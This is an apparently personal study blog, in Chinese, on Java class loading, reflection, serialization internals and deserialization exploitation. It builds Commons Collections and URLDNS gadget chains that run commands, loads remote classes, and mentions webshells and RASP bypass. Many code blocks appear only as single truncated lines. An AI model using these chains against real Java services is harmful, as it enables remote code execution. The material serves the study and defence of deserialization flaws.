Class Loader
讲的比较清楚的文章:https://www.cnblogs.com/ityouknow/p/5603287.html
类与类加载器
对于任何一个类,都需要由加载它的类加载器和这个类来确立其在JVM中的唯一性。也就是说,两个类来源于同一个Class文件,并且被同一个类加载器加载,这两个类才相等。
类加载机制
当一个类加载器接收到类加载请求时,会先请求其父类加载器加载,依次向上,当父类加载器无法找到该类时(根据类的全限定名称),子类加载器才会尝试去加载。
补充:有继承关系的执行优先顺序。
父类的静态代码块->子类的静态代码块->父类的代码块->父类构造函数->子类代码块->子类构造函数 |
类加载方式
- 命令行启动应用时候由JVM初始化加载
- 通过
Class.forName()
方法动态加载 - 通过
ClassLoader.loadClass()
方法动态加载
Class.forName() 和 ClassLoader.loadClass() 区别
Class.forName()
:将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块;ClassLoader.loadClass()
:只干一件事情,就是将.class文件加载到jvm中,不会执行static中的内容,只有在newInstance才会去执行 static 块。Class.forName(name, initialize, loader)
带参函数也可控制是否加载static块。并且只有调用了newInstance() 方法采用调用构造函数,创建类的对象 。
假设有这么个函数的参数可控,那就可以通过类加载利用。
public void foo(String name) throws Exception { |
import java.lang.Runtime; |
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null
值,如:java.io.File.class.getClassLoader()
将返回一个null
对象,因为java.io.File
类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)
加载,我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
。
ClassLoader 类有如下核心方法:
loadClass
:加载指定的Java类findClass
:查找指定的Java类findLoadedClass
:查找JVM已经加载过的类defineClass
:定义一个Java类resolveClass
:链接指定的Java类
// 反射加载 TestHelloWorld |
ClassLoader
加载com.TestHelloWorld
类重要流程如下:
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载com.TestHelloWorld
类。- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果 JVM 已初始化过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用JVM的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的com.anbai.sec.classloader.TestHelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。 - 如果调用loadClass的时候传入的
resolve
参数为true,那么还需要调用resolveClass
方法链接类,默认为false。 - 返回一个被JVM加载后的
java.lang.Class
类对象。
利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测。
package top.wywwzjj.demo; |
URLClassLoader
URLClassLoader 既可以加载远程类库,也可以加载本地路径的类库,取决于构造器中不同的地址形式。
ExtensionClassLoader、AppClassLoader 是 URLClassLoader 的子类,都是从本地文件系统里加载类库。
URLClassLoader
继承了ClassLoader
,URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
URLClassLoader 提供了这个功能,它让我们可以通过以下几种方式进行加载:
- 文件:从文件系统目录加载
- jar包:从Jar包进行加载
- Http:从远程的Http服务进行加载
特别注意:当加载的类文件和当前目录下的类文件名一致时,优先调用当前目录下的类文件。
package top.wywwzjj.demo; |
jar
import java.io.IOException; |
Java 反射
Class类
在程序运行期间,Java 运行时系统始终为所有的对象维护一个被称为运行时的类型标识,这些信息跟踪着每个对象所属的类。
虚拟机可以利用运行时类型信息选择对应的方法执行。保存这些信息的类被称为 Class,该类实际是一个泛型类。
除了int
等基本类型外,Java的其他类型全部都是class
(包括interface
)。
Java 反射是 Java 非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法 Methods、成员变量Fields、构造方法 Constructors 等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。
Java 反射机制也是 Java 的各种框架底层实现的灵魂,利用反射机制我们可以轻松的实现 Java 类的动态调用。
- 运行时判断任一个对象所属的类
- 运行时构造任一个类的对象
- 运行时判断任一个类所具有的成员变量和方法(private)
- 运行时调用任一个对象的方法(private)
- 运行时分析类的能力
- 运行时查看对象
- 实现通用的数组操作代码
- 利用 Method 对象,这个对象很像 C++ 中的函数指针
Java 反射在编写漏洞利用代码、代码审计、绕过 RASP 方法限制等中起到了至关重要的作用。
获取Class对象
java.lang.Runtime.class; // 类名.class |
获取数组类型的 Class 对象需要特殊注意,需要使用 Java 类型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D"); // 相当于 double[].class |
描述符 | Java类型 | 示例 |
---|---|---|
B |
byte |
B |
C |
char |
C |
D |
double |
D |
F |
float |
F |
I |
int |
I |
J |
long |
J |
S |
short |
S |
Z |
boolean |
Z |
[ |
数组 |
[IJ |
L类名; |
引用类型对象 |
Ljava/lang/Object; |
获取 Runtime 类 Class 对象:
String className = "java.lang.Runtime"; |
通过以上任意一种方式就可以获取java.lang.Runtime
类的Class对象了。
反射调用内部类的时候需要使用 $
来代替 .
,如 com.example.Test
类有一个叫做 Hello
的内部类,那么调用的时候就应该将类名写成:com.example.Test$Hello
。
class Test { |
常用方法
判断对象是否为某个类的实例
Class.forName("java.lang.Class").isInstance(obj); |
反射创建实例
通过Class实例获取Constructor的方法如下:
getConstructor(Class...)
:获取某个public
的Constructor
;getDeclaredConstructor(Class...)
:获取某个Constructor
;getConstructors()
:获取所有public
的Constructor
;getDeclaredConstructors()
:获取所有Constructor
。
注意Constructor
总是当前类定义的构造方法,和父类无关,因此不存在多态的问题。
调用非public
的Constructor
时,必须首先通过setAccessible(true)
设置允许访问。
String tt = String.class.newInstance(); // 只能调用该类的无参构造函数 |
调用Class.newInstance()的局限是,它只能调用该类的public无参数构造方法。如果构造方法带有参数,或者不是public,就无法直接通过Class.newInstance()来调用。
反射调用方法
Class
对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。
获取当前类的所有Method 不包括父类
Method[] methods = clazz.getDeclaredMethods(); |
获取所有public的Method 包括父类
Method[] methods = clazz.getMethods(); |
获取当前类的某个Method 不包括父类
Method getDeclaredMethod(name, Class...) |
获取某个public的Method 包括父类
Method getMethod(name, Class...) |
反射调用方法
获取到java.lang.reflect.Method
对象以后我们可以通过Method
的invoke
方法来调用类方法。
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开); |
method.invoke
的第一个参数必须是类实例对象,如果调用的是static
方法那么第一个参数值可以传null
,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)
的方式调用。
method.invoke
的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型
。
// Runtime.class.getMethod("exec", String.class) |
反射操作成员变量
对任意的一个Object
实例,只要我们获取了它的Class
,就可以获取它的一切信息。
我们先看看如何通过Class
实例获取字段信息。Class
类提供了以下几个方法来获取字段:
- Field getField(name):根据字段名获取某个public的field(包括父类)
- Field getDeclaredField(name):根据字段名获取当前类的某个field(不包括父类)
- Field[] getFields():获取所有public的field(包括父类)
- Field[] getDeclaredFields():获取当前类的所有field(不包括父类)
// 获取指定方法,需要指定参数 class 类型,例如 String.class,遇到可变长参数当成数组即可 |
获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields(); |
获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名"); |
getField
和getDeclaredField
的区别同getMethod
和getDeclaredMethod
。
获取成员变量值:
Object obj = field.get(类实例对象); |
修改成员变量值:
field.set(类实例对象, 修改后的值); |
同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)
的方式修改为访问成员变量访问权限。
Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。
如果我们需要修改被final
关键字修饰的成员变量,那么我们需要先修改方法。
// 反射获取Field类的modifiers |
获得继承关系
获取父类的Class
public class Main { |
获取interface
由于一个类可能实现一个或多个接口,通过Class
我们就可以查询到实现的接口类型。例如,查询Integer
实现的接口:
public class Main { |
继承关系
当我们判断一个实例是否是某个类型时,正常情况下,使用instanceof
操作符:
Object n = Integer.valueOf(123); |
如果是两个Class
实例,要判断一个向上转型是否成立,可以调用isAssignableFrom()
:
// Integer i = ? |
反射执行命令
不反射:
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8")); |
// 获取Runtime类对象 |
动态代理
Java 反射提供了一种类动态代理机制,可以通过代理接口实现类来完成程序无侵入式扩展。
主要使用场景:
- 统计方法执行所耗时间。
- 在方法执行前后添加日志。
- 检测方法的参数或返回值。
- 方法访问权限控制。
- 方法
Mock
测试。
package top.wywwzjj; |
动态编译
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); |
脚本引擎执行js代码
ScriptEngineManager sem = new ScriptEngineManager(); |
序列化
将对象转换成一个字节流,后续能利用这个字节流还原成对象的另一个拷贝状态。
java.io.Serializable 是一个空的接口,我们不需要实现任何方法,代码如下:
public interface Serializable { |
实现一个空接口有什么意义?其实实现java.io.Serializable
接口仅仅只用于标识这个类可序列化
。
java.io.ObjectOutputStream 类
- 将序列化的数据写入 OutputStream
- writeObject、writeChar、writeShort、writeUTF……
java.io.ObjectInputStream
- 从 InputStream 中读取序列化的数据
- readObject、readChar、readShort、readUTF……
几个注意点:
1、在 Java 中,只要一个类实现了 java.io.Serializable
接口,那么它就可以被序列化。
2、通过 ObjectOutputStream
和 ObjectInputStream
对对象进行序列化及反序列化
3、虚拟机是否允许反序列化,不仅取决于类路径和功能代码是否一致,一个非常重要的一点是两个类的序列化 ID 是否一致(就是 private static final long serialVersionUID
)
4、序列化并不保存静态变量。
5、要想将父类对象也序列化,就需要让父类也实现 Serializable
接口。
6、Transient 关键字的作用是控制变量的序列化,在变量声明前加上该关键字,可以阻止该变量被序列化到文件中,在被反序列化后,transient 变量的值被设为初始值,如 int 型的是 0,对象型的是 null。
7、服务器端给客户端发送序列化对象数据,对象中有一些数据是敏感的,比如密码字符串等,希望对该密码字段在序列化时,进行加密,而客户端如果拥有解密的密钥,只有在客户端进行反序列化时,才可以对密码进行读取,这样可以一定程度保证序列化对象的数据安全。
反序列化必须拥有class文件,但随着项目的升级,class文件也会升级,序列化怎么保证升级前后的兼容性呢?
java序列化提供了一个private static final long serialVersionUID 的序列化版本号,只有版本号相同,即使更改了序列化属性,对象也可以正确被反序列化回来。
如果可序列化类未显式声明 serialVersionUID,则序列化运行时将基于该类的各个方面计算该类的默认值。
writeObject & readObject
https://docs.oracle.com/javase/8/docs/api/
从文档可知,需要在序列化和反序列化过程中做特别自定义处理的Class,必须实现以下的方法:
PS:一些数据结构复杂一点的类往往会有自定义序列化、反序列化过程的需求。
private void writeObject(java.io.ObjectOutputStream out) |
writeObject 方法负责为其特定的类写下对象的状态,以便相应的 readObject 方法可以恢复它。保存对象字段的默认机制可以通过调用 out.defaultWriteObject 来调用。该方法不需要关注属于其超类或子类的状态。状态的保存是通过使用 writeObject 方法将各个字段写入 ObjectOutputStream 或者使用 DataOutput 支持的原始数据类型的方法。
readObject 方法负责从流中读取并恢复类的字段。它可以调用 in.defaultReadObject 来调用默认机制来恢复对象的非静态和非瞬时字段。defaultReadObject 方法使用流中的信息,将保存在流中的对象的字段与当前对象中相应的命名字段进行分配。这就处理了类发展到添加新字段的情况。该方法不需要关注属于其超类或子类的状态。状态的保存是通过使用 writeObject 方法将各个字段写入 ObjectOutputStream 或者使用 DataOutput 支持的原始数据类型的方法。
readObjectNoData 方法负责在序列化流没有将给定的类列为被反序列化的对象的超类的情况下,为其特定的类初始化对象的状态。这可能发生在接收方使用与发送方不同版本的反序列化实例的类,而接收方的版本扩展了发送方的版本没有扩展的类。如果序列化流被篡改,也可能发生这种情况;因此,尽管有 “敌对的 “或不完整的源流,readObjectNoData 对于正确初始化反序列化的对象还是很有用的。
具体的实现在 ObjectStreamClass 类中,用反射判断用户有无自定义了这几个 private 函数,若有就存起来。
/** |
Demo
public class Person implements Serializable { |
运行结果:
test for writeObject |
序列化结果
PHP 的序列化结果可读性要好一些。
|
// PHP 7.4 |
Java 测试代码:
public class Persaon implements Serializable { |
调用栈:
readObject:15, Persaon (top.wywwzjj) |
Java 是个二进制流:
查看序列化流的工具:SerializationDumper、msf-java_deserializer
比较 Jar 包:https://github.com/GraxCode/cafecompare
00000000: aced 0005 7372 0013 746f 702e 7779 7777 ....sr..top.wyww |
0xaced
,STREAM_MAGIC,魔术头0x0005
,STREAM_VERSION,版本号0x73
,TC_OBJECT,对象类型标识 (0x7n
基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
)0x72
,TC_CLASSDESC,类描述符标识0x0013...
,类名字符串长度和值 (Java序列化中的UTF8格式标准)0x9ec19f8faa0a9ba5
,serialVersionUID,序列版本唯一标识 (serialVersionUID
,简称SUID)0x02
,SC_SERIALIZABLE,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()
,Serializable
、Externalizable
或Enum
类型等0x0002
,类的字段个数0x4c
,开始遍历类的字段。0x4c000770...
,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x740012...
0x4c6a6176612f6c616e672f537472696e673b
表示 Ljava/lang/String,即 String 类的引用类型。这里还用 newHandle 做了复用,以减少体积,具体实现在 writeTypeString 函数中。
out.writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
out.writeByte(f.getTypeCode());
out.writeUTF(f.getName());
if (!f.isPrimitive()) {
out.writeTypeString(f.getTypeString());
}
}0x7e0000
,baseWireHandle,用于缓存字段的类型信息。0x78
,TC_ENDBLOCKDATA,Block Data结束标识0x70
,TC_NULL,父类描述符标识,此处为null
0x74
,TC_STRING,表示字符串类型。0x0005
,字符串长度。0x6e616d6532
,即 name2。0x74
,TC_STRING,表示字符串类型。0x0005
,字符串长度。0x6e616d6531
,即 name1。
STREAM_MAGIC - 0xac ed |
readObject vs __wakeup
readObject:负责从流中读取并恢复类的字段。
__wakeup:
__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用
__wakeup
方法,预先准备对象需要的资源。__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
|
反序列化过程分析
readObject 调用栈
readObject(Object.class); |
先根据对应的 Class,构造一个对象,再通过 readSerialData 填充属性字段数据。
需要注意的是,Java 反序列化生成对象时,并不是反射调用原 Class 的无参构造函数,而是产生一种新的构造器。
如何利用?
从上面的反序列化过程中可以看到,Java 本身没有对传入的数据进行校验,也没有白名单、黑名单机制,如果一旦可控,则可以反序列化任意的类。
也就是说,readObject 其实是 Java 中的“魔术方法”,是反序列化漏洞利用中的入口。
入口有了,接着寻找目标即可。最想要的自然是 RCE,能进行任意文件读写也不错。
执行命令
Runtime.getRuntime().exec()
String command = "whoami";
Process proc = Runtime.getRuntime().exec(command);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}PS:exec 最终还是调用 ProcessBuilder 实现,并且 exec 的第一个参数将被以” \t\n\r\f” 符号进行切割,取切割后的第一个参数作为命令,其他的都是参数。
processBuilder
String command = "whoami";
Process proc = new ProcessBuilder(command).start();
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
- Method.invoke():反射调用
- RMI/JRMP:通过反序列化使用RMI或者JRMP链接到我们的exp服务器,通过发送序列化payload至靶机实现
- URL.openStream:这种利用方式需要参数可控,实现SSRF
- Context.lookup:这种利用方式也是需要参数可控,最终通过rmi或ldap的server实现攻击
除此之外,别忘了 Java 还有其强大的动态性,这些都可以作为我们的目标。
下面我们一个一个看,慢慢积累一些认识。
先介绍一下 Java 反序列化中的里程碑: https://github.com/frohoff/ysoserial
URLDNS
该 Gadget 没有外部的依赖,全是Java的原生类,很适合用来做探测使用,比如能不能出外网,是否有反序列化的操作。
Gadget Chain:
HashMap.readObject() |
使用方法:
powershell 的二进制数据重定向有点问题,反序列化时会报错,可以换成 cmd.exe。
java -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://hqbuzb75py3ydukv1rizg1cek5qwel.burpcollaborator.net > payload |
触发一个 DNS 请求,自然要从网络相关的组件下手。
/** |
lookupAllHostAddr:928, InetAddress$2 (java.net) |
验证一下:
URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net"); |
确实有 DNS 请求:
The Collaborator server received a DNS lookup of type A for the domain name jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net. |
写 PoC:
URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net"); |
PS:由于本地序列化时 Java 对 DNS 有缓存,反序列化的时候可能并没有 DNS 请求。
另外,URL 对象中的 hashCode 有缓存,所以最终使用的时候需要利用反射将其置 -1。
public class URLDNS implements ObjectPayload<Object> { |
SilentURLStreamHandler 是为了避免生成 payload 时产生 DNS 请求,减少噪音。
Commons Collections
https://commons.apache.org/proper/commons-collections/
It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities. There are many features, including:
- Bag interface for collections that have a number of copies of each object
- BidiMap interface for maps that can be looked up from value to key as well and key to value
- MapIterator interface to provide simple and quick iteration over maps
- Transforming decorators that alter each object as it is added to the collection
- Composite collections that make multiple collections look like one
- Ordered maps and sets that retain the order elements are added in, including an LRU based map
- Reference map that allows keys and/or values to be garbage collected under close control
- Many comparator implementations
- Many iterator implementations
- Adapter classes from array and enumerations to collections
- Utilities to test or create typical set-theory properties of collections such as union, intersection, and closure
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
大概看一下 Jar 的结构。
危险调用
下面来看一些知识铺垫。
调试准备:顺便演示下常用操作,详细的看下面的例子。
通过 mvn 下载依赖中的源码和文档,否则只能看反编译的结果(没有注释,变量名可读性差)。
mvn dependency:sources -DdownloadSources=true -DdownloadJavadocs=true |
自定义搜索:例如指定 Jar 搜索,在 common collections jar 中搜索。
还有右上角的过滤器可以配置。
InvokerTransformer 中有完美的反射,可以进行危险利用。
/** |
看到这个就比较亲切了,使用反射创建一个新的对象实例,直接弹计算器。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); |
到这里,我们知道了这个类是可以通过 transform 触发 RCE,下一步就是给这个方法寻找一个触发点。
Transformer 接口
/** |
注释里说的比较清楚,这个接口的作用是对象转换,接口也只有唯一的一个方法 transform
。
实现这个接口的类还挺多,可以拿来当备选项。
如何才能触发 transform()
?首先寻找这个方法在哪些地方用到了,再进一步筛选:
- 调用
transform()
方法本身的类要是可序列化的。 - 在
readObject()
处(间接)调用了transform()
。
利用 IDEA 的 Find Usage,我们一个一个来看。
TransformedMap 类是对 Java 标准数据结构 Map 接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 类定义,Transformer 在 TransformedMap 实例化时作为参数传入。
当 TransformedMap 内的 key 或者 value 发生变化时,就会触发相应的Transformer的transform()方法。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { |
利用这里的 transform 能 RCE 吗?来看个 Demo:
如果直接调用 InvokerTransformer:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); |
改一改看看:
Map innerMap = new HashMap(); |
成功弹出计算器。
寻找跳板
从这个 Demo 可以看出,关键的一步是执行了 outerMap.put()
,如何让它变成反序列化的时候自动触发呢?
另外,直接 put 一个 Runtime 对象不太现实,先包装一下。
ConstantTransformer 类实现了每次返回一个相同的常量。
public class ConstantTransformer implements Transformer, Serializable { |
再结合这个 ChainedTransformer,将上一个 Transformer 对象执行后的结果传入下一个 Transformer 当参数。
public class ChainedTransformer implements Transformer, Serializable { |
构造:
Transformer[] transformers = new Transformer[]{ |
Runtime 类没有实现序列化接口,没法被序列化,继续改进一下:
Transformer[] transformers = new Transformer[] { |
等价于:
((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc"); |
到这里就随便 put 了。我们需要寻找在 readObject 中有给 Map 进行 put 操作的类,或者有调用 transform 方法的类。
除了 put,还有 checkSetValue 中会有转换。
protected Object checkSetValue(Object value) { |
此方法在 AbstractInputCheckedMapDecorator.java 中的 MapEntry 类有调用。
public Object setValue(Object value) { |
弹计算器的代码又可以继续改写成:
Transformer[] transformers = new Transformer[] { |
sun.reflect.annotation.AnnotationInvocationHandler
符合要求:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
memberValues 就是反序列化后得到的 Map,也就是经过了 TransformedMap 修饰的对象,这⾥遍历了它的所有元素,并依次设置值。在调⽤ setValue 设置值的时候就会触发 TransformedMap ⾥注册的 Transform,进⽽执⾏我们为其精⼼设计的任意代码。
'sun.reflect.annotation.AnnotationInvocationHandler' is not public in 'sun.reflect.annotation'. Cannot be accessed from outside package |
由于是内部类,外部无法直接构造对象,所以使用反射构造函数进行构造。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
完整利用
AnnotationInvocationHandler.readObject()->TransformedMap->setValue()->checkSetValue()->InvokerTransform.transform()
public static void main(final String[] args) throws Exception { |
调用栈:
transform:121, ChainedTransformer (org.apache.commons.collections.functors) |
小疑问
AnnotationInvocationHandler 的第一个参数为什么是 Retention.class,还能使用其他接口吗?
首先,第一个参数的类型上有限制,一定要是 Annotation 的子接口,所以只能传注解类型。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { |
public Retention { // @interface 表示该自定义接口继承 java.lang.Annotation 接口 |
AnnotationType annotationType = AnnotationType.getInstance(type); |
再看一下还有没有别的条件,annotationType.memberTypes() 不能为空,即 memberTypes 不能为空,即注解接口中一定要有方法,且需要是无参方法。如果是有参数,将在 AnnotationType.getInstance(type) 中的构造函数中被丢弃,不添加到 memberTypes。
Native、Inherited、Documented 这些空接口就被排除在外了 |
这些是可以的:
SuppressWarnings、Target、Repeatable 和 Retention |
可以顺着这个思路找符合条件的注解接口,不再赘述。
为什么要 innerMap.put(“value”, “test”),不能 put 别的 key 吗?
AnnotationType annotationType = AnnotationType.getInstance(type); |
这里做了一个判断,memberTypes.get(name) 如果不存在的话就不继续执行 setValue 了。
也就是说,键名 value
与我们之前传入构造函数的第一个参数有关,即 Retention.class。
/** |
这个接口只有唯一的一个方法 value,且其返回值类型是 java.lang.annotation.RetentionPolicy。
public class AnnotationType { |
这也是为啥一定要 key 一定要写 value
的原因,因为对应的表实际就是函数名到返回类型的 map。
为什么一定要把 transform 放在 value 上,放在 key 上就失败了?
// Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null); |
当放在 key 上时,最终执行 setValue 跑到 HashMap 上去了。一切的差异从这开始:
// AbstractInputCheckedMapDecorator.java |
为什么高版本打不成功?
Java 8u71 以后的版本(不包含) AnnotationInvocationHandler 的 readObject 实现有变化。
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
LazyMap
ysoserial 中使用的是 LazyMap,一起来研究一下原理。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { |
还是 Transformer 接口,不过 LazyMap 中只有 get 操作了。
这个时候需要怎么打?先用 LazyMap 替换一下 TransformedMap。
Transformer[] transformers = new Transformer[] { |
PS:这里调试的时候需要注意 LazyMap 有缓存,只有第一次不存在的 key 才会触发。
下一步就是寻找 readObject 入口,看有无能直接触发 LazyMap 的 get。
readObject(in) { |
BadAttributeValueExpException + TiedMapEntry
public class BadAttributeValueExpException extends Exception { |
注意到下面触发了 valObj.toString(),看看能不能进一步利用。
还是老问题,toString 不能直接触发,除非 toString 中有触发 Map.get 的操作,还需要找一层跳板。
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { |
有了这个就能打了,只需要 map 是我们的 LazyMap 即可。
Transformer[] transformers = new Transformer[] { |
下一步,弄一个 BadAttributeValueExpException 对象,由于 val 是 private 字段,继续反射:
Transformer[] transformers = new Transformer[] { |
最终的利用链路:
transform <= Lazy.get
<= TiedMapEntry.getValue
<= val.toString <= BadAttributeValueExpException.readObject
HashMap + TiedMapEntry
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { |
所以这里的 hashCode 也是直接能拿来用的。
transform <= Lazy.get <= TiedMapEntry.getValue <= hashCode <= ?
回顾一下 URLDNS,就是利用 HashMap 触发的 hashCode。
HashMap.readObject() |
改造:
HashMap.readObject() |
然后就接上了。
Transformer[] transformers = new Transformer[] { |
AnnotationInvocationHandler
之前用的 TransformedMap 是利用的 AnnotationInvocationHandler 中 readObject 里的 setValue。
但 LazyMap 只有 get 了该怎么利用呢?AnnotationInvocationHandler 还可以继续用。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
接着我们的目标就变成了如何触发 invoke。
transform <= Lazy.get <= AnnotationInvocationHandler.invoke <= ?
如何才能触发 invoke?Java 动态代理。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
AnnotationInvocationHandler 已经实现了 InvocationHandler 接口
此外 Proxy 实现了序列化接口,我们只需要套一个 Proxy 就好了。
Transformer[] transformers = new Transformer[] { |
成功弹计算器。下一步自然是继续寻找在readObject中的反序列化后的对象又调用了无参函数的情况。
transform <= Lazy.get <= AnnotationInvocationHandler.invoke <= ? <= readObject
伪代码:
readObject(in) { |
需要注意,还有些条件,不能是这些函数 :),否则直接能打。
switch(member) { |
所以上面这个 ReferenceMap 就没法利用了,继续找。
继续转换思路,看看有没别的办法。
AnnotationInvocationHandler 中的 readObject 有触发无参函数。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { |
memberValues.entrySet()
,只要这里的 memberValues 是我们动态代理后的 LazyMap 即可。
所以这里可以再套一层 AnnotationInvocationHandler 对象。
Transformer[] transformers = new Transformer[] { |
整理下 AnnotationInvocationHandler 起的作用:
- 第一个 AnnotationInvocationHandler 是为了扩大触发目标:transform <= LazyMap.get() <= invoke <= ?
- 第二个是为了寻找反序列化入口。
简化版调用栈:
ObjectInputStream.readObject |
更实际的调用栈:
ObjectInputStream.readObject |
也就是说,一个对象中有引用,在反序列过程中,会递归的将引用继续反序列化。
所以在这里有两次 AnnotationInvocationHandler.readObject。
PS:用 IDEA 调试的时候会出现乱弹计算器,原因是调试器会默认自动计算一些调试信息,自动调用了一些函数。
缓解方案:序列化和反序列化过程分离一下,单独反序列化。
还有个小坑,由于 LazyMap.get 有做缓存,如果被调试器自动触发了不存在的 key,下次就不会触发了。
经测试,Java 1.8.71 失败,需要用以前的版本调试。
POP的艺术
既然反序列化漏洞常见的修复方案是黑名单,就存在被绕过的风险,一旦出现新的POP链,原来的防御也就直接宣告无效了。
所以在反序列化漏洞的对抗史中,除了有大佬不断的挖掘新的反序列化漏洞点,更有大牛不断的探寻新的POP链。
POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。
既然如此,我们就用ysoserial这个项目,来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤:
BeanShell1
- 命令执行载体:
bsh.Interpreter
- 反序列化载体:
PriorityQueue
PriorityQueue.readObject()
反序列化所有元素后,通过comparator.compare()
进行排序,该comparator
被代理给XThis.Handler
处理,其invoke()
会调用This.invokeMethod()
从Interpreter
解释器中解析包含恶意代码的compare
方法并执行
C3P0
命令执行载体:
bsh.Interpreter
反序列化载体:
com.mchange.v2.c3p0.PoolBackedDataSource
PoolBackedDataSource.readObject()
进行到父类
PoolBackedDataSourceBase.readObject()
阶段,会调用
ReferenceIndirector$ReferenceSerialized.getObject()
获取对象,其中
InitialContext.lookup()
会去加载远程恶意对象并初始化,导致命令执行,有些同学可能不太清楚远程恶意对象的长相,举个简单的例子:
public class Malicious {
public Malicious() {
java.lang.Runtime.getRuntime().exec("calc.exe");
}
}
Clojure
- 命令执行载体:
clojure.core$comp$fn__4727
- 反序列化载体:
HashMap
HashMap.readObject()
反序列化各元素时,通过它的hashCode()
得到hash值,而AbstractTableModel$ff19274a.hashCode()
会从IPersistentMap
中取hashCode
键的值对象调用其invoke()
,最终导致Clojure Shell命令字符串执行
CommonsBeanutils1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
PriorityQueue
PriorityQueue.readObject()
执行排序时,BeanComparator.compare()
会根据BeanComparator.property
(值为outputProperties
) 调用TemplatesImpl.getOutputProperties()
,它在newTransformer()
时会创建AbstractTranslet
实例,导致精心构造的Java字节码被执行
CommonsCollections1
- 命令执行载体:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化载体:
AnnotationInvocationHandler
- 见前文
CommonsCollections2
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
PriorityQueue
PriorityQueue.readObject()
执行排序时,TransformingComparator.compare()
会调用InvokerTransformer.transform()
转换元素,进而获取第一个元素TemplatesImpl
的newTransformer()
并调用,最终导致命令执行
CommonsCollections3
- 命令执行载体:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化载体:
AnnotationInvocationHandler
- 除
Transformer
